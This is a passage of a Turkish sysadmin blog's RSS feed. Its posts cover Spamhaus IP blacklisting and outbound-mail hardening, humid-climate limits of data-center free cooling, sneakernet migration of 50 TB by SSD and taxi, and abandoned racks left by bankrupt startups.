<li><em>"Hangi adli tedbirleri aldınız? Logları incelediniz mi?"</em></li>
<li><em>"Port 25 trafiğini sınırlandırdınız mı?"</em></li>
</ul>
<p>Eğer bu şartları sağlamadan "Yanlışlıkla oldu, lütfen açın" derseniz, Spamhaus talebinizi reddeder. Üstelik aynı IP için mükerrer talep açarsanız, o IP bloğunu <strong>kalıcı olarak kara listeye mühürler (Permanent Listing)</strong>.</p>
<hr>
<h2>Temiz IP Karaborsası: Kiralık Blok Savaşları</h2>
<p>IPv4 adreslerinin dünyada tükenmesiyle birlikte <strong>"Temiz (Clean / Whitelisted) IP"</strong> kavramı bilişim dünyasının en pahalı emtiasına dönüşmüştür:</p>
<ul>
<li>İçinde daha önce hiç spam basılmamış, kurumsal bankalar tarafından tanınan, Spamhaus ve Microsoft SNDS skorları tertemiz bir <code>/24</code> IP bloğunun aylık kira bedeli normal bir IP bloğunun 3 katına fırlamıştır.</li>
<li>Bazı kötü niyetli sağlayıcılar, temiz IP bloklarını sadece yüksek bütçeli kurumsal müşterilere saklar; ucuz müşterileri ise bilerek "kirli / sabıkalı" IP havuzlarına (Spam Pool) tıkıştırır.</li>
</ul>
<p>Müşteri e-postasının neden gitmediğini araştırırken, arka planda IP tüccarlarının kirli borsa oyunlarının kurbanı olmaktadır.</p>
<hr>
<h2>İmmünoloji Protokolü: IP İtibarını Koruma Zırhı</h2>
<p>Bir sistem yöneticisinin görevi kirlenen IP'yi değiştirmek için para ödemek değil; IP'nin kirlenmesini mimari düzeyde imkansız kılmaktır:</p>
<pre><code>[SUNUCU GİDEN POSTA GÜVENLİK DUVARI]

1. Port 25 Giden Trafiğini Varsayılan Olarak KAPATIN!
   - Müşterilerin kendi kafalarına göre sunucu üzerinden dışarıya
     doğrudan SMTP (Port 25) bağlantısı kurmasına izin vermeyin.
   - Tüm giden postalar yerel MTA (Exim/Postfix) denetiminden geçmek zorundadır.

2. Hesap Başına Saatlik E-Posta Limiti Koyun!
   - cPanel / WHM: "Max hourly emails per domain: 100".
   - Bir hesap hacklense bile saatte en fazla 100 mail atabilir;
     Spamhaus radarına girmeden hesap otomatik kilitlenir!

3. Çıkış Yapan Mailleri Antivirüs ve Spam Filtresinden Geçirin (Outbound Scanning):
   - MailChannels veya Rspamd ile dışarı giden her e-posta taranır;
     içinde phishing linki olan mail sunucudan dışarı bırakılmaz!

4. İki Faktörlü Doğrulama (2FA) Zorunluluğu:
   - Tüm e-posta kutularında webmail için 2FA aktif edilir;
     şifresi çalınan hesapların botnet'e dönmesi engellenir.
</code></pre>
<h2>Sonuç</h2>
<p>Su kuyusunu kirleten komşuyu cezalandırmak yerine kasaba halkına parayla temiz su satan zihniyet ahlaksızdır; virüslü müşteriyi temizlemek yerine mağdur müşteriye "ek IP parası" dayatan hosting firması da fırsatçıdır.</p>
<p>IP itibarı bir sunucunun küresel internetteki yüzüdür, dijital pasaportudur. Pasaportunuzu lekeletirseniz dünyadaki hiçbir kapıdan içeri giremezsiniz. IP adreslerinizi korsanların ve spam botlarının at koşturduğu sahipsiz tarlalar gibi bırakmayın; filtrelerinizi sunucudan çıkış kapısına kurun, itibarınızı karaborsacıların insafına terk etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Spamhaus</category>
            <category>RBL</category>
            <category>Blacklist</category>
            <category>E-Posta</category>
            <category>IP İtibarı</category>
            <category>Ağ Güvenliği</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ip-kara-liste-temizleme-cikmazi-spamhaus-ve-itibar-karaborsasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucu Soğutmada 'Free Cooling' Yalanı ve Türkiye İklim Gerçeği]]></title>
            <link>http://localhost:3000/blog/post/sunucu-sogutmada-free-cooling-yalani-ve-turkiye-iklim-gercegi</link>
            <guid>sunucu-sogutmada-free-cooling-yalani-ve-turkiye-iklim-gercegi</guid>
            <pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[İskandinavya için tasarlanan serbest dış hava soğutmasını (Free Cooling) kopyalayıp Akdeniz ve Marmara'nın %85 nemli 40 derece yaz sıcağında sunucu odasını saunaya çeviren altyapı gafları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-sogutmada-free-cooling-yalani-ve-turkiye-iklim-gercegi/thumbnail" alt=""> İskandinavya'da veya Sibirya'da geliştirilen bir hipotermi ve açık hava kriyoterapi protokolünü düşünün. Oradaki hekimler, kış aylarında dışarıdaki -15 derecelik saf, kuru kutup havasını kullanarak hastaların iltihaplı eklemlerini veya yüksek ateşli travma vakalarını pencereleri açarak başarıyla soğutur. Şimdi Türkiye'den bir hekimin bu tıp makalesini okuduğunu ve "Harika bir yöntem, klimaya para vermeyelim, doğanın gücünü kullanalım!" diyerek aynı protokolü Ağustos ayının ortasında Adana'da veya Antalya'da uygulamaya kalktığını hayal edin. Dışarıda gölgede 43 derece sıcaklık ve %85 bağıl nem vardır! Hekim yoğun bakım pencerelerini ardına kadar açar ve içeriye Adana'nın o fırın gibi nemli, yapış yapış havasını doldurur. 15 dakika sonra yoğun bakımdaki tüm hastalar hipertermi (sıcak çarpması) krizine girer, organları pişer ve hastalar solunum yetmezliğinden masada kalır. Hekimin "Ama Norveç'teki tıp dergisinde bu yöntemin çok başarılı olduğu yazıyordu" demesi ne kadar trajikomik bir cehaletse; Akdeniz havzasında yerel iklimi hesaba katmadan Free Cooling kopyalayan veri merkezi işletmecilerinin hali de tam olarak budur.</p>
<p>Türkiye'deki bazı veri merkezi projelerinde ve kurumsal sunucu odalarında <strong>"Biz Free Cooling (Serbest Dış Hava Soğutması) yapıyoruz, kompresör çalıştırmadan yeşil enerjiyle soğutuyoruz"</strong> afişlerinin arkasında yaşanan yaz faciaları, bu Adana sahra hastanesinin teknolojik ikizidir.</p>
<hr>
<h2>Free Cooling Nedir ve Nerede Çalışır?</h2>
<p>Veri merkezlerinde enerjinin yaklaşık %35 ila %45'i sunucuların ürettiği devasa ısıyı dışarı atmak için çalışan soğutma kompresörleri (Chiller / DX Klimalar) tarafından tüketilir.</p>
<p>Bu devasa elektrik faturasını düşürmek için <strong>Free Cooling (Serbest Soğutma)</strong> geliştirilmiştir:</p>
<ul>
<li>Dış ortam sıcaklığı belirli bir eşiğin altına (genellikle 12°C - 15°C) düştüğünde, enerji canavarı kompresörler tamamen kapatılır.</li>
<li>Dışarıdaki soğuk hava özel filtrelerden geçirilerek doğrudan sunucu odasına basılır (Direct Free Cooling) veya bir eşanjör (ısı değiştirici) vasıtasıyla kapalı devre suyu soğutmakta kullanılır (Indirect Free Cooling).</li>
</ul>
<p>Bu sistem İrlanda (Dublin), Finlandiya, İsveç veya İzlanda'da bir mühendislik harikasıdır. Çünkü o coğrafyalarda yılın 300 günü hava soğuk ve kurudur.</p>
<p>Peki bu mimariyi alıp İstanbul Dudullu'ya, İzmir'e veya Bursa Nilüfer'e kurarsanız ne olur?</p>
<hr>
<h2>Türkiye İklim Gerçeği: Yaş Termometre (Wet-Bulb) Duvarı</h2>
<p>Termodinamik biliminde sadece kuru hava sıcaklığına bakarak soğutma hesabı yapılamaz. Asıl belirleyici parametre <strong>Yaş Termometre Sıcaklığı (Wet-Bulb Temperature)</strong> ve <strong>Bağıl Nemdir (Relative Humidity).</strong></p>
<p>ASHRAE (Amerikan Isıtma, Soğutma ve Klima Mühendisleri Derneği) veri merkezleri için katı çevre standartları koyar (ASHRAE TC 9.9):</p>
<ul>
<li><strong>Önerilen Sıcaklık:</strong> 18°C - 27°C</li>
<li><strong>Önerilen Nem:</strong> %40 - %60 (Çiğlenme noktası: 5.5°C - 15°C)</li>
</ul>
<pre><code>+------------------------------------------------------------------------+
|                      TÜRKİYE YAZI: TERMAL CEHENNEM                     |
|                                                                        |
|  Dış Ortam Sıcaklığı : 38°C - 42°C (Kuru Termometre)                   |
|  Bağıl Nem           : %80 - %90 (Nemli Deniz Havası)                  |
|                                                                        |
|  SONUÇ: Dışarıdaki hava soğutucu değil; adeta buhar kazanından çıkan    |
|         sıcak ve yapışkan bir hamam buharıdır!                         |
+------------------------------------------------------------------------+
</code></pre>
<p>Türkiye'de Haziran başından Eylül sonuna kadar Marmara, Ege ve Akdeniz'de dış hava sıcaklığı gece bile 25 derecenin altına inmez; nem ise geceleri %90'a dayanır. Bu havayla Free Cooling yapamazsınız! Yapmaya kalkarsanız sunucu odanızı bir günde felakete sürüklersiniz.</p>
<hr>
<h2>Sahadaki Felaket: 3 Aşamalı Termal Yıkım</h2>
<p>Free Cooling yatırımı yapıp gerçek kompresörlü chiller kapasitesini "Nasılsa dış hava yeter" diyerek düşük tutan tesislerde yaz aylarında yaşanan senaryo şudur:</p>
<h3>1. Klimaların Terlemesi ve Su Baskını (Yoğuşma / Condensation)</h3>
<p>Dışarıdaki sıcak ve yüksek nemli hava içeri alındığında, sunucuların önündeki soğuk hava menfezlerine çarptığı an fizik kanunları gereği <strong>yoğuşma (çiğlenme)</strong> başlar!<br>
Klimaların serpantinlerinden oluk oluk su akmaya başlar. Drenaj tavaları taşar. Tesisin yükseltilmiş döşemesinin altından geçen yüksek voltajlı enerji kablolarının ve fiberlerin üzerine tavandan su damlamaya başlar!</p>
<h3>2. Statik Elektrik ve Korozyon Tuzağı</h3>
<p>Nem kontrolü yapılamayan tesislerde:</p>
<ul>
<li>Nem %30'un altına düşerse: Sunucuların devre kartlarında elektrostatik boşalma (ESD) riski tavan yapar; bir teknisyenin elinin teması RAM slotlarını yakabilir.</li>
<li>Nem %70'in üzerine çıkarsa: Havadaki nem ve toz sunucu anakartlarının üzerindeki bakır yollarla birleşerek mikroskobik korozyona (paslanma) ve iletken çamurlaşmaya yol açar. Sunucular durduk yere anakart arızası vermeye başlar.</li>
</ul>
<h3>3. Kompresörlerin Aşırı Yükten Patlaması (Chiller Trip)</h3>
<p>Temmuz ayında dış hava serinletmeyince, tesis mecburen kompresörleri devreye sokar. Ancak tesisin chiller kapasitesi "Free Cooling'e güvenilerek" küçük seçilmiştir!<br>
Klimalar 7/24 %100 gaz basıncıyla inlemeye başlar. Kompresör motorları aşırı ısınır; termik röleler atar (<code>Chiller High Pressure Alarm</code>). Soğutma bir anda sıfıra düşer.</p>
<hr>
<h2>15 Dakika İçinde 55 Derece: Termal Kaçak (Thermal Runaway)</h2>
<p>Bir veri merkezinde soğutma sistemi durduğu an, sunucuların ürettiği ısı içeride hapsolur. Birkaç yüz kabinin çalıştığı bir odada sıcaklık artış hızı dakikada <strong>2 ila 3 derecedir!</strong></p>
<pre><code>[SOĞUTMA DURDU: 0. Dakika]  ───► Sıcaklık: 24°C (Normal)
[5. Dakika]                 ───► Sıcaklık: 35°C (Fanlar Son Devirde)
[10. Dakika]                ───► Sıcaklık: 48°C (İşlemciler Throttling Modunda)
[15. Dakika]                ───► Sıcaklık: 58°C! (SUNUCULAR KENDİNİ KAPATIYOR!) ❌
</code></pre>
<ol start="15">
<li>dakikada CPU'ların içindeki dahili termal diyotlar 100°C'yi aşar. Intel ve AMD işlemciler silikonun erimesini engellemek için anakarta acil kapatma sinyali fırlatır (<code>Thermal Trip / PROCHOT</code>).<br>
Koca veri merkezindeki binlerce sunucu domino taşları gibi 1 dakika içinde kendi kendine kapanır. Kabin koridorları sessizliğe ve cehennemi bir sıcağa gömülür.</li>
</ol>
<hr>
<h2>Doğru Mühendislik: Hibrit ve İklime Uyumlu Soğutma Mimarisi</h2>
<p>Türkiye gibi 4 mevsimi sert yaşayan coğrafyalarda soğutma sistemi bir ideolojiye değil, esnek bir hibrit mühendisliğe dayanmak zorundadır:</p>
<pre><code>[İKLİME UYUMLU AKILLI SOĞUTMA DÖNGÜSÜ]

KIŞ AYLARI (Kasım - Mart / Dış Hava &#x3C; 10°C):
--> İndirekt Free Cooling devrede!
--> Kompresörler kapalı. Enerji tasarrufu: %70! 🟢

BAHAR AYLARI (Nisan - Mayıs / Dış Hava 10°C - 20°C):
--> Hibrit Mod (Kısmi Free Cooling + Düşük Devirli Kompresör). 🟡

YAZ AYLARI (Haziran - Eylül / Dış Hava > 25°C &#x26; Yüksek Nem):
--> Free Cooling TAMAMEN MÜHÜRLENİR!
--> Çift Devreli (N+1 veya 2N) Su Soğutmalı Chiller Grupları devreye girer.
--> Tesis şebeke elektriğini sonuna kadar tüketir ama içeride tek bir damla
    yoğuşma ve ısı artışına izin verilmez! 🔴
</code></pre>
<h2>Sonuç</h2>
<p>Kutup hekiminin buz banyosunu Adana sıcağında hastaya uygulayan hekim cehaletinin bedelini canla ödetir; Norveç'in Free Cooling broşürünü Akdeniz neminde sunuculara uygulayan veri merkezi de bedelini yanmış anakartlar ve çökmüş altyapılarla öder.</p>
<p>Mühendislik ezber kopyalamak değil; yerel coğrafyanın fiziğine, nemine ve rüzgarına saygı duyma sanatıdır. Bir veri merkezinin "yeşil" olması demek yazın ortasında sunucuları saunaya sokmak demek değildir. Altyapınızı seçerken firmanın broşüründeki romantik çevre sloganlarına değil; Temmuz sıcağında 45 dereceye dayandığında içeriyi 22 derecede sabit tutacak gerçek chiller kapasitesine ve nem alma ünitelerine bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Free Cooling</category>
            <category>Soğutma</category>
            <category>Veri Merkezi</category>
            <category>PUE</category>
            <category>İklim</category>
            <category>Termal Yönetim</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-sogutmada-free-cooling-yalani-ve-turkiye-iklim-gercegi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Büyük Veri Taşırken İnternet Hattına Takılmak: 'Sert Diskli Kurye' Yöntemi]]></title>
            <link>http://localhost:3000/blog/post/buyuk-veri-tasirken-internet-hattina-takilmak-sert-diskli-kurye-yontemi</link>
            <guid>buyuk-veri-tasirken-internet-hattina-takilmak-sert-diskli-kurye-yontemi</guid>
            <pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[50 Terabaytlık veritabanını internetten taşımaya kalkıp 24 günlük aktarım süresiyle yüzleşen ve çözümü SSD'leri çantaya atıp taksiyle diğer veri merkezine gitmekte (Sneakernet) bulan mühendisler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/buyuk-veri-tasirken-internet-hattina-takilmak-sert-diskli-kurye-yontemi/thumbnail" alt=""> Büyük bir afet veya deprem sonrasında sahra hastanesinde biriken 500 acil travma ve açık cerrahi hastasını büyük şehirdeki üniversite hastanesine nakletmeniz gerektiğini düşünün. İki hastane arasındaki tek doğrudan hat, iki dağın arasına gerilmiş tek şeritli, sallantılı bir asma köprüdür. Cerrahi ekip oturur ve bir lojistik hesabı yapar: Bu köprüden her 15 dakikada sadece 1 adet tekerlekli sedye geçebilmektedir. 500 hastanın bu köprüden diğer tarafa aktarılması tam <strong>18 gün</strong> sürecektir! Hastaların yarısı o köprünün başında kan kaybından ölecektir. Tam o sırada sahra hastanesinin başhekimi masaya yumruğunu vurur: <em>"Asma köprüyü unutun! 500 hastayı hemen arkadaki askeri nakliye helikopterlerine ve ambulans konvoyuna doldurun, otobandan dolaşıp 1 saat içinde şehre giriyoruz!"</em> Asma köprü modern ve havalı görünmektedir; ancak devasa bir kütleyi acil taşırken kaba fizik ve konvoy gücü her zaman daracık köprüleri ezer geçer.</p>
<p>Modern bilişim ve sistem mühendisliği dünyasında veri merkezi taşıma (Data Center Migration) operasyonlarında yaşanan ve bilişim literatürüne <strong>Sneakernet (Spor Ayakkabı Ağı)</strong> olarak geçen o tarihi gerçek tam olarak bu asma köprü dramıdır.</p>
<p>50 Terabaytlık devasa bir ilişkisel veritabanını veya medya arşivini fiber optik hat üzerinden <code>rsync</code> ile taşımaya kalkan mühendislerin karşılaştığı matematiksel tokat ve sonunda çözümü SSD diskleri sırt çantasına doldurup taksiye atlamakta bulmaları, mühendisliğin en saf pratik zaferlerinden biridir.</p>
<hr>
<h2>Tanenbaum Kanunu: "Bant Genişliği Kamyonla Yarışamaz!"</h2>
<p>Bilgisayar bilimlerinin efsanevi ismi <strong>Andrew S. Tanenbaum</strong>, 1981 yılında yazdığı <em>"Computer Networks"</em> kitabında ağ mühendisliğinin en unutulmaz aforizmasını tarihe kazımıştır:</p>
<blockquote>
<p><em>"Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway."</em><br>
<em>(Otobanda son sürat giden, içi kaset dolu bir steyşın vagon arabanın bant genişliğini asla küçümsemeyin!)</em></p>
</blockquote>
<p>Birçok yazılımcı fiber optik internetin "sonsuz hızlı" olduğunu zanneder. Oysa veri boyutu terabaytlara ve petabaytlara ulaştığında, internet hatlarının bant genişliği daracık bir asma köprüye dönüşür.</p>
<hr>
<h2>50 Terabaytın Matematiği: 24 Günlük Kesinti</h2>
<p>Bir şirketin veri merkezini Gayrettepe'den Dudullu'daki yeni bir veri merkezine taşıyacağını varsayalım.</p>
<ul>
<li>Toplam Veri: <strong>50 Terabayt (50.000 Gigabayt)</strong></li>
<li>Eski Sunucunun İnternet Çıkışı: Simetrik <strong>200 Mbps</strong> (Oldukça iyi bir kurumsal hat).</li>
</ul>
<p>Mühendis terminali açar ve komutu verir:<br>
<code>rsync -avz /data/ root@yeni-sunucu:/data/</code></p>
<p>Komut satırındaki transfer hızını ve tahmini bitiş süresini (ETA) hesaplayalım:</p>
<pre><code>[VERİ TRANSFER MATEMATİĞİ]

200 Mbps Hat = Saniyede net 20 Megabayt (MB/s) transfer hızı.
- 1 Dakikada : 1.2 GB
- 1 Saatte   : 72 GB
- 1 Günde    : 1.728 GB (Yaklaşık 1.7 TB)

50 Terabaytın Aktarılması İçin Gereken Süre:
50.000 GB / 1.728 GB = 28.9 GÜN! 🔴
</code></pre>
<p>Ekranda parlayan tahmini süre: <strong>29 Gün!</strong></p>
<p>Şirketin e-ticaret veya bankacılık veritabanını 29 gün boyunca kapatıp "Veri taşıyoruz, 1 ay sonra gelin" diyebilir misiniz?<br>
Hattı 1 Gbps'e çıkarsanız bile aktarım 5 gün sürecektir. Üstelik bu 5 gün boyunca hatta tek bir mikrosaniyelik kopma, ISP yönlendiricisinde bir takılma veya SSH oturumunun düşmesi halinde transfer baştan başlayacak veya dosya kontrolü (checksum) saatler alacaktır.</p>
<hr>
<h2>Cerrahi Operasyon: Taksi, Sırt Çantası ve NVMe SSD'ler</h2>
<p>İşte o an kurumsal slaytların, fütüristik bulut sunumlarının bittiği ve sahra tıbbının başladığı andır:</p>
<ol>
<li><strong>Saat 23:00 (Veritabanı Klemplenir):</strong><br>
Eski veri merkezinde veritabanı yazmaya kapatılır (<code>FLUSH TABLES WITH READ LOCK</code>).</li>
<li><strong>Saat 23:15 (Klonlama Başlar):</strong><br>
Sunucuya USB-C 40 Gbps veya Thunderbolt 4 arayüzüyle harici 4 adet yüksek hızlı Enterprise NVMe SSD takılır.<br>
Yazma hızı: <strong>2.800 MB/s!</strong><br>
50 Terabaytlık ham veri blok düzeyinde (<code>dd</code> veya <code>zfs send/recv</code> ile) doğrudan fiziksel NVMe disklere yazılır.<br>
İşlem süresi: <strong>Yalnızca 4.5 Saat!</strong></li>
<li><strong>Saat 03:45 (Fiziksel Nakil - Sneakernet):</strong><br>
Mühendis diskleri anti-statik poşetlere sarar, sırt çantasına koyar.<br>
Gayrettepe'den taksiye biner. 15 Temmuz Şehitler Köprüsü'nden geçerek Dudullu'daki yeni veri merkezine ulaşır.<br>
Yol süresi: <strong>35 Dakika.</strong></li>
<li><strong>Saat 04:30 (Veri Enjeksiyonu):</strong><br>
Diskler yeni sunucuya takılır ve veritabanı dizinine doğrudan kopyalanır.<br>
Süre: <strong>4.5 Saat.</strong></li>
<li><strong>Saat 09:00 (Canlıya Çıkış):</strong><br>
Toplam operasyon süresi: <strong>10 Saat!</strong></li>
</ol>
<p>29 gün sürecek olan veri transferi, bir taksinin arka koltuğunda 10 saatte tamamlanmış ve şirket mesaiye sıfır veri kaybıyla başlamıştır!</p>
<pre><code>[FİBER İNTERNET (200 Mbps)] : 29 Gün / 696 Saat (Kollaps &#x26; İflas!) ❌
[SNEAKERNET (Taksi + SSD)]  : 10 Saat (Başarı &#x26; Hayatta Kalma!) ✅

Bant Genişliği Farkı:
Taksi ile taşınan 50 TB, saniyede yaklaşık 1.400 MB/s (11.2 Gbps) saf bant genişliği üretmiştir!
</code></pre>
<hr>
<h2>AWS Snowball: Küresel Devlerin Kamyonlu Taşımacılığı</h2>
<p>"Canım taksiyle veri taşımak Türkiye'ye özgü bir ameleliktir" diyenler, dünyanın en büyük bulut devi Amazon Web Services'ın (AWS) bu işi nasıl yaptığına baksın.</p>
<p>Amazon, müşterilerinin petabaytlarca verisini internetten taşıyamayacağını çok iyi bildiği için resmi bir donanım hizmeti satmaktadır: <strong>AWS Snowball</strong> ve <strong>AWS Snowmobile.</strong></p>
<ul>
<li><strong>AWS Snowball:</strong> Müşterinin kapısına kargo ile gelen, kurşun geçirmez, yangına dayanıklı, içinde 80 TB NVMe disk olan askeri bir çantadır. Veriyi ofisinizde diske yüklersiniz; kurye çantayı alıp Amazon veri merkezine götürür.</li>
<li><strong>AWS Snowmobile:</strong> 100 Petabaytlık veri merkezlerini taşımak için Amazon'un bizzat kapınıza gönderdiği <strong>45 metrelik devasa bir tır kamyonudur!</strong> Tırın dorsesi içi disklerle dolu yürüyen bir veri merkezidir. Binanıza devasa fiber kablolarla bağlanır, veriyi çeker ve karayoluyla AWS veri merkezine sürer!</li>
</ul>
<p>Dünyanın en gelişmiş bulut şirketi bile Tanenbaum Kanunu'na boyun eğmiş; internet kablosunun yerine bir tırın dizel motorunu koymuştur.</p>
<hr>
<h2>Hibrit Göç Modeli: Kesintisiz Senkronizasyon (Delta Sync)</h2>
<p>Peki, fiziksel disk taşınırken geçen o 10 saatte siteye gelen yeni siparişler ne olacak?</p>
<p>İşte burada <strong>Delta Senkronizasyon (Çift Fazlı Cerrahi)</strong> uygulanır:</p>
<ol>
<li><strong>İlk Büyük Kütle (Snapshot):</strong> Veritabanı canlıyken ilk 50 TB disklere yazılır ve taksiyle yola çıkarılır. Site açık kalmaya ve sipariş almaya devam eder.</li>
<li><strong>Fiziksel Disk Yeni Sunucuya Açılır:</strong> 50 TB içeri basılır.</li>
<li><strong>Delta Sync (Küçük Fark):</strong> Sitede son 10 saatte oluşan yalnızca 2 Gigabaytlık yeni sipariş ve hareket verisi internet hattı üzerinden (<code>mysqlbinlog</code> veya CDC - Change Data Capture ile) 30 saniye içinde yeni sunucuya fırlatılır!</li>
<li><strong>Geçiş (Cutover):</strong> DNS yeni sunucuya çevrilir. Kesinti süresi: <strong>Yalnızca 30 Saniye!</strong></li>
</ol>
<h2>Sonuç</h2>
<p>Asma köprüden hasta taşımaya çalışırken hastayı yolda kaybeden hekim nasıl lojistik körlüğü yaşadıysa; terabaytlarca veriyi internet hattından günlerce taşımaya çalışıp operasyonu kilitleyen sistem yöneticisi de öyle bir körlük içindedir.</p>
<p>Mühendislik fantezilerin değil; en hızlı, en pratik ve en güvenilir çözümü seçme sanatıdır. Bazen en ileri teknoloji, bir mühendisin sırt çantasına koyduğu SSD diskler ve bindiği bir sarı taksidir. Veri hacmi büyüdüğünde internetin sınırlarını kabul edin; gerektiğinde ayağınıza spor ayakkabıları giyip veriyi fiziksel olarak taşıyacak cesareti gösterin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Sneakernet</category>
            <category>Veri Taşıma</category>
            <category>Migration</category>
            <category>Bant Genişliği</category>
            <category>Büyük Veri</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/buyuk-veri-tasirken-internet-hattina-takilmak-sert-diskli-kurye-yontemi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Karanlık Kabinler: İflas Eden Startup'ların Veri Merkezi Mezarlığı]]></title>
            <link>http://localhost:3000/blog/post/karanlik-kabinler-iflas-eden-startuplarin-veri-merkezi-mezarligi</link>
            <guid>karanlik-kabinler-iflas-eden-startuplarin-veri-merkezi-mezarligi</guid>
            <pubDate>Tue, 16 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Veri merkezlerinin kuytu koridorlarında elektriği kesilmiş, üzerinde haciz tutanakları sallanan, kurucuları yurtdışına kaçmış iflas etmiş girişimlerin unutulan milyonluk donanımları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/karanlik-kabinler-iflas-eden-startuplarin-veri-merkezi-mezarligi/thumbnail" alt=""> Büyük bir metropol hastanesinin en alt bodrum katındaki kilitli depoyu gözünüzün önüne getirin. Koridor loştur, havalandırma uğultusu uzaktan gelir. Odanın içinde üzeri kalın bir toz tabakasıyla kaplanmış, bir zamanların en son model ultrason cihazları, laparoskopi kuleleri ve titanyum cerrahi setleri yığılıdır. Cihazların üzerinde İcra Dairesi'nin kırmızı mum mühürleri ve sararmış haciz tutanakları sallanmaktadır. Bu cihazlar, üç yıl önce "Sağlıkta Yapay Zeka Devrimi!" sloganıyla milyonlarca liralık risk sermayesi (VC) toplayan, lüks plazalarda kokteyller veren ama iş modeli çöktüğünde kurucuları gece yarısı Londra'ya kaçan genç doktorların kurduğu batık bir girişimin kalıntılarıdır. Şirket batmış, ortaklar birbirine dava açmış, bankalar haciz koymuş ve o milyon liralık cihazlar hastanenin bodrumunda çürümeye terk edilmiştir. Bir dönemin büyük kibrinin, alkışlarının ve parlak slaytlarının vardığı nihai durak, bu karanlık ve sessiz morg odasıdır.</p>
<p>Veri merkezlerinin (Data Center) ışıltılı beyaz alanlarının en arka koridorlarında yer alan ve sektörde <strong>"Karanlık Kabin (Dark Rack / Zombie Rack)"</strong> olarak bilinen alanlar, tam olarak bu iflas etmiş hayallerin donanım mezarlığıdır.</p>
<hr>
<h2>Startup Çılgınlığı: "Bulut Bize Yetmez, Kendi Donanımımızı Alacağız!"</h2>
<p>2020-2023 yılları arasındaki küresel ve yerel startup çılgınlığını hatırlayın. Fikir aşamasındaki şirketler melek yatırımcılardan ve fonlardan milyonlarca dolar değerlemeyle tohum yatırım topluyordu.</p>
<p>Parayı bulan genç kurucu ekibin ilk yaptığı şeylerden biri şuydu:<br>
<em>"AWS çok pahalı, biz kendi yapay zeka altyapımızı kuracağız! Kendi GPU kümemizi toplayacağız!"</em></p>
<p>Milyonlarca lira harcanır:</p>
<ul>
<li>10 adet Dell PowerEdge sunucu,</li>
<li>İçinde tanesi 15.000 Dolar olan 32 adet NVIDIA A100 / H100 ekran kartı,</li>
<li>100 Gbps Mellanox InfiniBand switchler,</li>
<li>Fiber kablolar, parmak izi okuyuculu özel kabinler.</li>
</ul>
<p>Veri merkezinde 2 kabin kiralanır. Donanımlar törenle vidalanır, LED ışıklar yeşil ve mavi yanar, LinkedIn'de selfieler çekilir: <em>"Yeni yapay zeka kümemiz yayında! Dünya bizi izlesin!"</em></p>
<hr>
<h2>Para Bittiğinde Gelen Sessizlik</h2>
<p>Aradan 18 ay geçer. Ürün tutmamıştır. Kullanıcı sayısı birkaç bini geçememiştir. Yatırımcının verdiği para tükenmiştir; yeni tur yatırım (Series A) bulunamamıştır.<br>
Ofis kirası ödenemez, yazılımcıların maaşları aksar.</p>
<p>Ve kriz veri merkezinin faturasına vurur:</p>
<ul>
<li>Kabin başına aylık enerji faturası: 45.000 TL.</li>
<li>Hat ve barındırma kirası: 25.000 TL.</li>
<li>Toplam aylık fatura: 70.000 TL.</li>
</ul>
<p>İlk ay fatura gecikir. İkinci ay sağlayıcı arar: <em>"Faturanız ödenmedi."</em> Kurucu mırıldanır: <em>"Yatırımcıyla görüşüyoruz, haftaya para hesaba geçecek."</em><br>
Üçüncü ay kurucunun telefonu kapanır.</p>
<p>Veri merkezinin operasyon ekibi gelir, kabinin PDU şalterini indirir.<br>
O ışıltılı yeşil-mavi ışıklar söner. 15.000 RPM'lik fanlar durur.<br>
Kabin zifiri bir karanlığa ve ölüm sessizliğine gömülür: <strong>Dark Rack doğmuştur.</strong></p>
<pre><code>[2023: YATIRIM TURU - ZAFER]
LinkedIn: "Yapay zeka altyapımızla dünyayı değiştiriyoruz!"
Kabin: 32x NVIDIA H100, Mavi LED'ler, 25 kW Saf Enerji!

[2025: KARANLIK KABİN - MEZARLIK]
Veri Merkezi Koridoru: Arka Sıra, Kabin 42.
Durum: Şalter İNDİRİLDİ (Power Cut).
Görünüm: Fan deliklerine dolmuş gri toz tabakası.
Kapak: İcra İflas Dairesi'nin kırmızı mühürlü kağıdı: "Dosya No: 2025/1428 Esas".
Kurucu: LinkedIn profilini sildi, Berlin'de bir kafede barista olarak çalışıyor!
</code></pre>
<hr>
<h2>Hukuki Kördüğüm: Sağlayıcı Neden Bu Donanımları Satamıyor?</h2>
<p>Dışarıdan bakan biri şöyle düşünebilir: <em>"Veri merkezi sahibi zeki adamdır. Kabinde 2 milyon liralık sunucu duruyor. Faturasını ödemediyse sunucuları satsın, parasını çıkarsın!"</em></p>
<p>İşte burada Türk Ticaret Kanunu'nun ve İcra İflas Hukuku'nun devasa bürokratik bataklığı devreye girer:</p>
<ol>
<li><strong>Hapis Hakkı (Retention Right) İşkencesi:</strong><br>
Bir veri merkezi, müşterisinin mülkiyetinde olan bir donanımı kendi kafasına göre satamaz! Yaparsa TCK Madde 155 gereği <strong>"Güveni Kötüye Kullanma"</strong> suçundan hapis cezasıyla yargılanır.</li>
<li><strong>Mahkeme ve İcra Süreci:</strong><br>
Veri merkezi avukatları icra takibi başlatır. Ancak startup'ın resmi adresi bir sanal ofistir; tebligat geri döner. Şirket ortakları bulunamaz.</li>
<li><strong>Bilirkişi ve Değer Kaybı:</strong><br>
